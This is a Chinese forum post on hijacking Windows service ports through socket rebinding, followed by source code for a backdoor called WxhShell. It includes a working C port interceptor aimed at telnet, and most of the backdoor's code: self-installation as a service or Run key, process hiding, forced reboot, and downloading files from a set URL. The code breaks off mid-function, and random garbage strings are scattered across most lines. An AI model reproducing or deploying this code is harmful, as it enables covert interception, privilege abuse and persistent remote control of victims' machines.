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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }b / G{92  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R QCKH]&!  
`_E@cZ4  
  saddr.sin_family = AF_INET; | (: PX  
,S7M4ajVZB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aq$adPtu  
^fhkWx4i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .] BJM?9  
h"(HDnq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9m}c2:p  
Os)}kkja  
  这意味着什么?意味着可以进行如下的攻击: D1~3 3;  
a*?,wmzl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B'KZ >jO  
YvPs   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PHqIfH [  
^:]~6p#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J0yo@O  
AjMx\'(C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S*a_  
? q hme   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +"D*0gYD  
|^t8ct?x~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T0lbMp  
Z$ 6yB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /Avl&Rd  
E{E%nXR)  
  #include :\,3=suWq  
  #include X-J<gI(Y  
  #include Ng1uJa[k!d  
  #include    Y?V>%eBu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]F1ZeAh5  
  int main() `KJ BQK  
  { v1~`76^  
  WORD wVersionRequested; Hbi2amfBu  
  DWORD ret; bId@V[9  
  WSADATA wsaData; ,XmyC7y<  
  BOOL val; S`&YY89{&  
  SOCKADDR_IN saddr; hFr?84sAd  
  SOCKADDR_IN scaddr; M;F&Ix  
  int err; 2z[A&s_  
  SOCKET s; r$z0C&5  
  SOCKET sc; &#qy:  
  int caddsize; ~U_,z)<`)c  
  HANDLE mt; Qh@A7N/L  
  DWORD tid;   |k=L&vs  
  wVersionRequested = MAKEWORD( 2, 2 ); @Xq3>KJ_)H  
  err = WSAStartup( wVersionRequested, &wsaData ); ?#_]Lzn'  
  if ( err != 0 ) { 2?nhkast#=  
  printf("error!WSAStartup failed!\n"); ;c;PNihg  
  return -1; yXL]uh#b  
  } PH3#\ v.   
  saddr.sin_family = AF_INET; PV/S zfvIq  
   Mwd(?o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o;2QZ"v  
~$Pz`amT|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FT.;}!"l  
  saddr.sin_port = htons(23); aC=D_JJ\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )]3(ue  
  { Hm55R  
  printf("error!socket failed!\n"); h`,!p  
  return -1; x1{gw 5:  
  } ay,E!G&H  
  val = TRUE; s7}46\/U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -P|st;?#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6zJfsKf$  
  { -VlXZj@u+  
  printf("error!setsockopt failed!\n"); L/n?1'he  
  return -1; 2q ,> *B?  
  } `+O7IyTM A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q+Cq&|4 ?2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %#,EqN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }0?\H)/edP  
B M$+r(#t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +$H`/^a.  
  { J)leRR&  
  ret=GetLastError(); ',P E25Z  
  printf("error!bind failed!\n"); &?gvW//L2  
  return -1; 9 WhZ= Xk  
  } l gzA) (  
  listen(s,2); p2: >m\  
  while(1) BR [3i}Ud  
  { c})f&Z@<  
  caddsize = sizeof(scaddr); e4/Y/:vFO  
  //接受连接请求 5T4!' 4n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >|@i8?|E  
  if(sc!=INVALID_SOCKET) ~i y]X:U  
  { NLA/XZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W6 U**ir.  
  if(mt==NULL) [:(^n0%  
  { w `0m[*  
  printf("Thread Creat Failed!\n"); zs~v6y@  
  break; k2cC:5Xf3  
  } K6l{wyMb|  
  } ~t-!{F  
  CloseHandle(mt);  *c6o#[l  
  } eAD uk!Iq  
  closesocket(s); #N'W+M /  
  WSACleanup(); 1fzHmD  
  return 0; :v>Nz7SB  
  }   t}]R0O.s  
  DWORD WINAPI ClientThread(LPVOID lpParam) .V Cfh+*J#  
  { ^yo~C3 r~  
  SOCKET ss = (SOCKET)lpParam; $ 'obj  
  SOCKET sc; O>H'o k  
  unsigned char buf[4096]; l mRd l>  
  SOCKADDR_IN saddr; wjeuZNYf  
  long num; OW|5IEC  
  DWORD val; K7CrRT3>6  
  DWORD ret; IDIok~B=e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;9rS[$^$O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "bC1dl<  
  saddr.sin_family = AF_INET; k6?;D_dm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !ENDQ?1  
  saddr.sin_port = htons(23); M#7w54~b?M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kZ>Xl- LV  
  { $|V@3`0  
  printf("error!socket failed!\n"); @ysc?4% q  
  return -1; LnZC)cL P/  
  } BQ7p<{G  
  val = 100; H ]x-s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /$ :w8  
  { = olmBXn/  
  ret = GetLastError(); ~DYv6-p%  
  return -1; ZcLW8L  
  } hmQ;!9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L H8iHB  
  { ;0c -+,  
  ret = GetLastError(); 0<";9qN)6  
  return -1; (q]_&%yW  
  } iUua!uC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (Iz$_(  
  { G (o9*m1  
  printf("error!socket connect failed!\n"); /eO :1c  
  closesocket(sc); r$ 8 ^K\oF  
  closesocket(ss); 4fyds< f  
  return -1; 8*iIJ  
  } C3"5XR_Ov  
  while(1) &xYO6_.  
  { tvlrUp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (rfR:[JkC2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p?v.42R:z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O ;dtz\  
  num = recv(ss,buf,4096,0); 'fIoN%  
  if(num>0) 'C2X9/!,  
  send(sc,buf,num,0); s9)U",  
  else if(num==0) (/a#1Pd&  
  break; ;LXwW(_6d  
  num = recv(sc,buf,4096,0); 0Kytg\p}  
  if(num>0) lIUaGz|  
  send(ss,buf,num,0); !5}u\  
  else if(num==0) P\lEfsuR  
  break; ~Bi>T15e  
  } S[ln||{  
  closesocket(ss); Qu;cl/&  
  closesocket(sc); 'OTQiI^t=  
  return 0 ; ;[-TsX:  
  } S<Os\/*  
aJ/}ID  
E;tEmGf6F  
========================================================== y2{uEbA  
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下边附上一个代码,,WXhSHELL "!w#E6gU  
$~+(si2  
========================================================== a-bj! Rs  
p.^qB]%  
#include "stdafx.h"  B8~JUGD  
?bH&F  
#include <stdio.h> m0Geq.  
#include <string.h> u _mtdB'  
#include <windows.h> bpx ^  
#include <winsock2.h> iLC.?v2=  
#include <winsvc.h> 8=  kwc   
#include <urlmon.h> srCpgs]h  
77b^d9! ~  
#pragma comment (lib, "Ws2_32.lib") ]T:a&DHC  
#pragma comment (lib, "urlmon.lib") b$;qtfJG  
cTJi8f=g  
#define MAX_USER   100 // 最大客户端连接数 -k8<LR3  
#define BUF_SOCK   200 // sock buffer 0Fw4}f.o  
#define KEY_BUFF   255 // 输入 buffer {U'\2Ge<m  
$-MVsa9>I  
#define REBOOT     0   // 重启 L~+/LV  
#define SHUTDOWN   1   // 关机 \}Al85  
~jR4%VF  
#define DEF_PORT   5000 // 监听端口 /wI"oHZd  
K2> CR$L  
#define REG_LEN     16   // 注册表键长度 CBr(a'3{Z  
#define SVC_LEN     80   // NT服务名长度 3%[;nhbA7  
4=~+B z  
// 从dll定义API n "bii7h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H[_i=X3-~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  mPL0s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T!7B0_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )! eJW(  
;l %$-/%  
// wxhshell配置信息 ?Gl]O3@3  
struct WSCFG { ~NMx:PP  
  int ws_port;         // 监听端口 )GYnQoV4  
  char ws_passstr[REG_LEN]; // 口令 @tvz9N  
  int ws_autoins;       // 安装标记, 1=yes 0=no " vka7r  
  char ws_regname[REG_LEN]; // 注册表键名 XkPE%m_5D  
  char ws_svcname[REG_LEN]; // 服务名 = ;cTm5d;T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7tbY>U8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vc0LV'lmg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `y|_hb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uv m:`e~?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZXIw^!8@/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _70Z1_ ;  
@V&c=8) 8  
}; FS)"MDs  
* '_(.Z:  
// default Wxhshell configuration ; ,}Dh/&E  
struct WSCFG wscfg={DEF_PORT, Z%Fc -KVt  
    "xuhuanlingzhe", Qhq' %LR  
    1, W#P`Y< u$  
    "Wxhshell", @y'0_Y0-B  
    "Wxhshell", KdBpfPny@  
            "WxhShell Service", ^)y8X.iO  
    "Wrsky Windows CmdShell Service", Y b=77(Q V  
    "Please Input Your Password: ", 3=Q:{  
  1, RH.qbPjx  
  "http://www.wrsky.com/wxhshell.exe", 5-hnk' ~  
  "Wxhshell.exe" Z)}UCi+/".  
    }; r7,}"Pl  
e\em;GTy  
// 消息定义模块 .* )e24`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .P <3+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *`q?`#1&&.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ", p5}}/  
char *msg_ws_ext="\n\rExit."; %tMx48'N  
char *msg_ws_end="\n\rQuit."; lSg[7lt  
char *msg_ws_boot="\n\rReboot...";  W,|+Dl  
char *msg_ws_poff="\n\rShutdown..."; FUarI5#fwF  
char *msg_ws_down="\n\rSave to "; kuI~lBWI  
`a%MD>R_Lg  
char *msg_ws_err="\n\rErr!"; ?P}bl_  
char *msg_ws_ok="\n\rOK!"; Gp{,v  
p$t|eu  
char ExeFile[MAX_PATH]; ;I&XG  
int nUser = 0; j4<K0-?  
HANDLE handles[MAX_USER]; Xhq7)/jp  
int OsIsNt; $g^D1zkuDT  
"[eH|z/  
SERVICE_STATUS       serviceStatus; a%A!Dz S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GsmXcBzDw2  
OXm`n/64+  
// 函数声明 P)kJ[Zv>f  
int Install(void); ! ,bQ;p3g|  
int Uninstall(void); F"bz<{  
int DownloadFile(char *sURL, SOCKET wsh); =?c""~7  
int Boot(int flag); f S[-K?K  
void HideProc(void); &s(J:P$!  
int GetOsVer(void); =W &Mt  
int Wxhshell(SOCKET wsl); qJag>OY  
void TalkWithClient(void *cs); m):*>o55  
int CmdShell(SOCKET sock); !> =ybRe  
int StartFromService(void); 64mg:ed&  
int StartWxhshell(LPSTR lpCmdLine); m8=n`XI  
?=ffv]v|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); - V:HT j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,3!$mQL=  
@0 'U p  
// 数据结构和表定义 'Oj 1@0*0  
SERVICE_TABLE_ENTRY DispatchTable[] = TF%Xb>jy[  
{ X@"G1j >/  
{wscfg.ws_svcname, NTServiceMain}, mU]VFPr5  
{NULL, NULL} [ /YuI@C,@  
}; .L+XV y  
wk ^7/B  
// 自我安装 >{N}UNZ$}  
int Install(void) c:.~%AJx  
{ oNtoqYwH  
  char svExeFile[MAX_PATH]; fd4C8>*7G  
  HKEY key; @AF<Xp{  
  strcpy(svExeFile,ExeFile); V^,eW!  
gfs;?vP  
// 如果是win9x系统,修改注册表设为自启动 \"1>NJn&k)  
if(!OsIsNt) { Z6rhInIY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @zC6`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d\ 8v VZ  
  RegCloseKey(key); <)p.GAZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lo~ ;pvv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K8aqC{  
  RegCloseKey(key); s(nT7x+W  
  return 0; :{2~s  
    } mUbm3JIjJ  
  } CVW T >M<  
} | DV?5>>  
else { ~W[I  
mwo:+^v(  
// 如果是NT以上系统,安装为系统服务 !( rAI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QXZyiJX}  
if (schSCManager!=0)  v&|65[<  
{ `Bw]PO  
  SC_HANDLE schService = CreateService "bIb?e2h9G  
  ( Bl*}*SPU  
  schSCManager, ~%8P0AP  
  wscfg.ws_svcname, ]bJz-6u#:  
  wscfg.ws_svcdisp, QJ3#~GYNr  
  SERVICE_ALL_ACCESS, "~5cz0 H3v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P{-- R\  
  SERVICE_AUTO_START, 9H/>M4RT  
  SERVICE_ERROR_NORMAL, f4h~c  
  svExeFile, bDM},(  
  NULL, a(|6)w-  
  NULL, %(1O jfZc  
  NULL, ~<?Zj  
  NULL, TIKkS*$  
  NULL *3H=t$1G}  
  ); _Xt/U>N  
  if (schService!=0) Y>8Qj+d  
  { N#K)Z5J)b  
  CloseServiceHandle(schService); =3 .dgtH  
  CloseServiceHandle(schSCManager); wX0D^ )NtF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kU[hB1D5  
  strcat(svExeFile,wscfg.ws_svcname); F#gA2VCm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^o{{kju  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /@F'f@;  
  RegCloseKey(key); x%l(0K  
  return 0; "esuLQC  
    } v-tI`Qpb  
  } H-PVV&r   
  CloseServiceHandle(schSCManager); n@8Y6+7i  
} p L"{Uqi  
} x ;|HT  
:QGkYJ  
return 1; oFj_o  
} c,xdkiy3  
{^z73Gxt,  
// 自我卸载 az F!V  
int Uninstall(void) #4JMb#q0E  
{ ~t)cbF(UO  
  HKEY key; ]>1Mq,!  
s/tLY/U/  
if(!OsIsNt) { Xg C^-A w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f6%k;R.Wz  
  RegDeleteValue(key,wscfg.ws_regname); y>EW,%leC  
  RegCloseKey(key); |%C2 cx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XM`GK>*aC(  
  RegDeleteValue(key,wscfg.ws_regname); [kg?q5F)  
  RegCloseKey(key); !0W(f.A{K  
  return 0; ;OlnIxH(W  
  } 1'qXT{f/~  
} rLsY_7!  
} E`o_R=%  
else { "V' r}>  
&DWSf`:Hx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +]eG=. u  
if (schSCManager!=0) e*2^  
{ '2.ey33V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0]4X/u#N  
  if (schService!=0) Wx:v~/r  
  { I=kqkuW  
  if(DeleteService(schService)!=0) { O>' }q/  
  CloseServiceHandle(schService); g8Ex$,\,  
  CloseServiceHandle(schSCManager); .;4N:*hY  
  return 0; 9^XZ|`  
  } ^I!Z)/  
  CloseServiceHandle(schService); F9 r5 Z  
  } ] 0X|_bU  
  CloseServiceHandle(schSCManager); wH ,PA:  
} Pvc)-A  
} <D.E .^Y  
-TF},V~  
return 1; N;3!oo4  
} sfX~X/  
uOA/r@7I}S  
// 从指定url下载文件 k+9F;p7  
int DownloadFile(char *sURL, SOCKET wsh) uppa`addK  
{ HPt3WBRzS;  
  HRESULT hr; z\m$>C|  
char seps[]= "/"; U4"^NLAq  
char *token; nnyT,e%  
char *file; v#?DWeaFS_  
char myURL[MAX_PATH]; ?{ )'O+s  
char myFILE[MAX_PATH]; \6wltTW]#  
@rYZ0`E9  
strcpy(myURL,sURL); +j 9+~  
  token=strtok(myURL,seps); LO_Xr j  
  while(token!=NULL) uVqc:Q"  
  { jlBsm'M<m  
    file=token; M7/5e3  
  token=strtok(NULL,seps); NCKR<!(  
  } D,cD]tB2  
v@{y}  
GetCurrentDirectory(MAX_PATH,myFILE); N/o?\q8  
strcat(myFILE, "\\"); jA1S|gV  
strcat(myFILE, file); +ywz@0nx  
  send(wsh,myFILE,strlen(myFILE),0); TB>_#+:  
send(wsh,"...",3,0); z\|<h=EU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t\/H.Hb  
  if(hr==S_OK) ZXhNn<  
return 0; Vb\^xdL>  
else #pWy%U  
return 1; r6D3u(kMb  
|xb;#ruR6  
} "vYjL&4h  
N8T.Ye N  
// 系统电源模块 s|WcJV  
int Boot(int flag) ke6,&s%{j  
{ 5aVZ"h"  
  HANDLE hToken; ?z.  Z_A&  
  TOKEN_PRIVILEGES tkp; Z{u]qI{l  
`m V(:  
  if(OsIsNt) { bz:En'2>F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DFwiBB6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oVl:g:K40  
    tkp.PrivilegeCount = 1; b 2\J<Nw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eLH=PDdO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A _7I0^  
if(flag==REBOOT) { `MT.<5H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P{RGW.Ci@  
  return 0; ,H|K3nh  
} pw))9~XU  
else { u$qasII  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k-4z2qB  
  return 0; Yi-,Pb?   
} {DVMs|5;^  
  } 5/hgWG6.t  
  else { ga'G)d3oS  
if(flag==REBOOT) { {#=o4~u%;H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g6gwNC:aF  
  return 0; KfK5e{yT  
} 0{!-h  
else { /`qQWB5b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nn0j}ZI)1  
  return 0; 1q ZnyJ  
} f4`Nws-dP  
} 3?k<e  
1Uah IePf  
return 1; 6XAofN/5f  
} !;t6\Z8&  
X&Ospl@H  
// win9x进程隐藏模块 6EY 0Fjsi  
void HideProc(void) nBd(p Oe  
{ >TGc0 z+  
)eX{a/Be  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t@2MEo  
  if ( hKernel != NULL ) 5HB*  
  { 5rtE/ {A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PTQN.[bBh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \+ Ese-la  
    FreeLibrary(hKernel); |]HA@7B  
  } +Lr`-</VF  
Eg4&D4TG p  
return; nh+h3"-d  
} Ix@nRc'  
~1Ffu x  
// 获取操作系统版本 "-HWw?rx/  
int GetOsVer(void) jlyuu  
{ u3cl7~- yW  
  OSVERSIONINFO winfo; on7? V<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l >oJ^J  
  GetVersionEx(&winfo); ErQGVE;zk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  u7&5t  
  return 1; 7 /" Z/^  
  else iII%!f?{[  
  return 0; Qdy/KL1]  
} F$s:\ N  
OJFWmZ(X  
// 客户端句柄模块 ND3|wQ`M0  
int Wxhshell(SOCKET wsl) r.]IGE|  
{ U @}r?!)"f  
  SOCKET wsh; V_4=0(  
  struct sockaddr_in client; MHCwjo"  
  DWORD myID; CQ{pv3)  
/BS yanro  
  while(nUser<MAX_USER) M3fTU CR  
{ ] < ;y_  
  int nSize=sizeof(client); d|sf2   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FbCuXS=+`  
  if(wsh==INVALID_SOCKET) return 1; 02[*b  
TD/ 4lL~(x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [.;I}  
if(handles[nUser]==0) #8WHIDS>  
  closesocket(wsh); (2 P&@!|  
else QNZ#SG8  
  nUser++; bz`rSp8h  
  } H=XdgOui  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eV9,G8  
0,cU^HMA  
  return 0; B}I9+/|{  
} [t?:CgI)E  
9 H>J S  
// 关闭 socket Ih5CtcE1'd  
void CloseIt(SOCKET wsh) CE4Kc33OU|  
{ 1_mqPMm  
closesocket(wsh); 8%Ak   
nUser--; ) '/xNR  
ExitThread(0); (Kw%fJT  
} {P==6/<2o  
5',&8  
// 客户端请求句柄 .07k G]  
void TalkWithClient(void *cs) [KEw5-=i@  
{ ;IT'6m`@W  
G1SOvdq  
  SOCKET wsh=(SOCKET)cs; h\6 t\_^\  
  char pwd[SVC_LEN]; 0<Rq  
  char cmd[KEY_BUFF]; Q^'xVS_.  
char chr[1]; ^ b{~]I  
int i,j; > =Na,D  
Ibv`/8xh  
  while (nUser < MAX_USER) { p3IhK>  
)|&FBz;  
if(wscfg.ws_passstr) { Q*9Y.W.8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?{1& J9H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $L72%T  
  //ZeroMemory(pwd,KEY_BUFF); h\|T(597.  
      i=0; >4?735f=x  
  while(i<SVC_LEN) { 6"2IV  
8&y#LeM1TT  
  // 设置超时 W#L/|K!S  
  fd_set FdRead; T9YrB  
  struct timeval TimeOut; s[t?At->  
  FD_ZERO(&FdRead); rL/H{.@$`  
  FD_SET(wsh,&FdRead); `Js"*[z  
  TimeOut.tv_sec=8; Nfd'|#  
  TimeOut.tv_usec=0; R E9 `T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  %d0BQ|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }n k [WW  
!dwa. lZ&X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N1JM[<PP  
  pwd=chr[0]; 4=l$wg~;  
  if(chr[0]==0xd || chr[0]==0xa) { 76cT}l&.h8  
  pwd=0; r_Pi)MPc  
  break; C!|Yz=e  
  } fjqd16{Q  
  i++; O]?PC^GGY  
    } !)EYM&:Y  
2zkO s:  
  // 如果是非法用户,关闭 socket \| 'Yuh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D0X!j,Kc  
} +o K*5 Y  
#?DoP]1Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ( $,qxPOn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %vRCs]  
9bUFxSH  
while(1) { +6(\7?  
4mm>6w8NT  
  ZeroMemory(cmd,KEY_BUFF); ufocj1IU  
4V'HPD>=V  
      // 自动支持客户端 telnet标准   be HEAQ  
  j=0; d_Z?i#r0l  
  while(j<KEY_BUFF) { =F46v{la  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;esOe\z jE  
  cmd[j]=chr[0]; HDj260a  
  if(chr[0]==0xa || chr[0]==0xd) { a-NicjV#  
  cmd[j]=0; V=H:`n3k  
  break; Bm +Ca:p%  
  } ,Y7QmbX^  
  j++; SL`nt  
    } Lv<vMIr  
,#j'~-5  
  // 下载文件 ^MvBW6#1  
  if(strstr(cmd,"http://")) { !d1a9los  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _W>xFBy  
  if(DownloadFile(cmd,wsh)) HnKXO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QVkrhwp  
  else e. R9:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ggy9euWV  
  } CsN^u H  
  else { cT nC  
f8)fm2^09  
    switch(cmd[0]) { BR:Mcc  
  eaDG7+iS  
  // 帮助 D=}\]Krmay  
  case '?': { #j)"#1IE2W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YVPLHwh/5  
    break; 6K^O.VoV^J  
  } wQ81wfr1:  
  // 安装 No*[@D]g  
  case 'i': { H`rd bE  
    if(Install()) (btm g<WT"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H4<Q}([w  
    else V+t's*9o3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l\ Vr D2j8  
    break; $t0JfDd6Ky  
    } _7'5IA  
  // 卸载  upGLZ#  
  case 'r': { _IWLC{%V  
    if(Uninstall()) xcH&B %;f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JB'XH~4H  
    else @I#uv|=N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P+DIo7VTX  
    break; dj{~!}  
    } 0!M'z  
  // 显示 wxhshell 所在路径 >+):eB L  
  case 'p': { T@a|*.V  
    char svExeFile[MAX_PATH]; e/}4Pt  
    strcpy(svExeFile,"\n\r"); 5t-, 5  
      strcat(svExeFile,ExeFile); \jx3Fs:Q  
        send(wsh,svExeFile,strlen(svExeFile),0); -\2hSIXj  
    break; e(Rbq8D  
    } %a!gN  
  // 重启 %Rk DR  
  case 'b': { :TkMS8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e9>~mtx  
    if(Boot(REBOOT)) `UT UrM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <(i5hmuVd  
    else { ^,aI2vC  
    closesocket(wsh); ER0B{b  
    ExitThread(0); 8#/y`ul  
    } G=|~SYz  
    break; oXU b_/  
    } L+}<gQJ(  
  // 关机 6"R'z#{OF  
  case 'd': { &0xM 2J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "uFwsjz&B  
